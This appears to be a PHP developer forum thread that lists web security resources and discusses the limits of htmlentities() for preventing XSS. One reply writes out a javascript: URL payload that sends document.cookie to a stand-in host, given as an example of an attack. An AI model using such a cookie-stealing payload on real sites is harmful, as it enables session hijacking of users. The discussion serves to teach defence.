PHP Developers Network

As time goes on, I will be adding security focused resources. The resources listed below are all either geared towards PHP or useable by PHP developers in some manner.

Security Patterns
A security pattern is a well-understood solution to a recurring information security problem. They are patterns in the sense originally defined by Christopher Alexander (the basis for much of the later work in design patterns and pattern languages of programs), applied to the domain of information security. A security pattern encapsulates security expertise in the form of worked solutions to these recurring problems, presenting issues and trade-offs in the usage of the pattern. This page presents our completed research into security patterns for Web application development.

The [phpsec] mailing list
[phpsec] is a mailing list dedicated to the security of PHP and its related applications. Our goal is to maintain an early-warning system through which developers, systems administrators and researches can discuss and exchange information about maintaining PHP, PHP applications and PHP systems secure.

PHP Security Consortium
Seems like a start, though I haven't seen much put into place here. However, it's news, and interesting.

Hardened-PHP
Hardened-PHP adds security hardening features to PHP to protect your servers on the one hand against a number of well known problems in hastily written PHP scripts and on the other hand against potential unknown vulnerabilities within the engine itself.

Security Thread on DevShed
The purpose of this document is to inform PHP programmers of common security mistakes that can be overlooked in PHP scripts. While many of the following concepts may appear to be common sense, they are unfortunately not always common practice. After applying the following practices to your coding, you will be able to eliminate the vast majority of security holes that plague many scripts. Many of these security holes have been found in widely-used open source and commercial PHP scripts in the past.

The most important concept to learn from this article is that you should never trust the user to input exactly what is expected. The way most PHP scripts are compromised is by entering unexpected data to exploit security holes inadvertantly left in the script.

Foiling Cross Site Scripting Attacks (XSS)
Here's an article from php|architect that discusses both XSS and CSRF from Chris Shiflett.

Chris Shiflett's Security Workbook
Excellent PDF covering security in PHP.

XSS Prevention
An excellent resource covering most aspects of XSS. Very comprehensive, and a great place to start.

XSS cheatsheet
f you don't know how XSS (Cross Site Scripting) works, this page probably won't help you. This page is for people who already understand the basics of XSS but want a deep understanding of the nuances regarding filter evasion. This page will also not show you how to mitigate these risks or how to write the actual cookie/credential stealing portion of the attack. It will simply show the basic attack vectors and you can infer the rest. I may add mitigation techniques or other forms of XSS like button/form overwriting later, since I haven't found many good resources on this topic thus far.

Just to add another note:

http://www.phpadvisory.com is under new management. So we are starting to update the information on the site, and are looking for article and advisory submissions. This site has a strong focus on PHP security.

OWASP Top Ten Most Critical Web Application Vulnerabilities

"The OWASP Top Ten provides a minimum standard for web application security. The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list. There are currently versions in English, French, Japanese, and Korean. A Spanish version is in the works. We urge all companies to adopt the standard within their organization and start the process of ensuring that their web applications do not contain these flaws. Adopting the OWASP Top Ten is perhaps the most effective first step towards changing the software development culture within your organization into one that produces secure code." The Open Web Application Security Project

Another useful resource site for php/security is phpSecure.info, with partial content in different languages :

phpSecure.info English
phpSecure.info French
phpSecure.info Russian

There's a mailing list called phpAdvisories mailing list, a bugtraq-like alert system relaying PHP advisories from different sources, and the emailed data is also available as xml feed

most of the Advisories' content is retrieved by automation systems, so this is more an echo of the [bugtraq|vulns|backends] background noise than something similar to the great work provided by phpadvisory.com
we are on our way to provide detailled statistics par application ...

http://www.php.net/manual/en/security.php
http://www.owasp.org/index.html

Hello firends

This site has interesting white papres about web security:

http://www.spidynamics.com/spilabs/educ ... papers.htm



And interesting security articles:

http://www.cs.wright.edu/~pmateti/Inter ... index.html.

GOOD LUCK!

Hello firends


http://ilia.ws/files/phpworks_security.pdf



GOOD LUCK!

Page 22 of that page is misleading

, is not secure.. Additional steps need to be taken to prevent xss then just htmlentities


in this example the exploit would be:

?url=javascript:window.location('http://example.com/cookie?cookie='+document.cookie)


htmlentities would leave that string untouched (depending on if you use ent_quotes, etc.. but it's best to not allow the string "javascript:" to pass through things like this

I agree but for a different reason. Ilia uses the term "input filtering" to describe two escaping functions and one filtering function. This is more than a lack of precision, because these are often confused to be the same thing, and security usually suffers as a result.


I disagree with this, but I understand what you're saying. Technically, the exploit you describe is not XSS. The data provided is used as the target of a link, and an attacker can't break out of this context (except by using attacks that target character encoding). In fact, even if htmlentities() were to convert every single character to its HTML entity, the attack you describe would still be successful. Hopefully this highlights why it's not XSS.

The escaping does prevent XSS, but as you've demonstrated, there's more to be considered.

If you want to learn more about XSS attacks that target character encoding, I created a small script that you can try:

http://shiflett.org/archive/178

Here's a better htmlentities() example that specifies the character encoding:

http://phpsecurity.org/code/ch01-4

By the way, here are some other links that might be helpful to those interested in learning more about PHP security:

My Blog: http://shiflett.org/
My Articles: http://shiflett.org/articles
My Talks: http://brainbulb.com/talks
My Book: http://phpsecurity.org/

I hope no one minds me posting these here. Everything except the book is free. :-)

Its a small, neat inexpensive book...

Another useful link: http://phpsec.org/

Hi everyone,

I'm reading some php/mysql security articles lately and I found this link. I hope the experts here tel us if this link is real good to depends on?
http://www.acunetix.com/websitesecurity/php-security-1.htm

Thanks

It's slashdotted right now, but should be available tomorrow.

I have no idea of the quality of the book, but hey it's security.

There is a link within this thread from SPI Dynamics that is dead. However, I found one that is not (hehe, actually a coworker pointed it out to me). Anyhow, here it is:

A PDF Whitepaper on Blind SQL Injection Attacks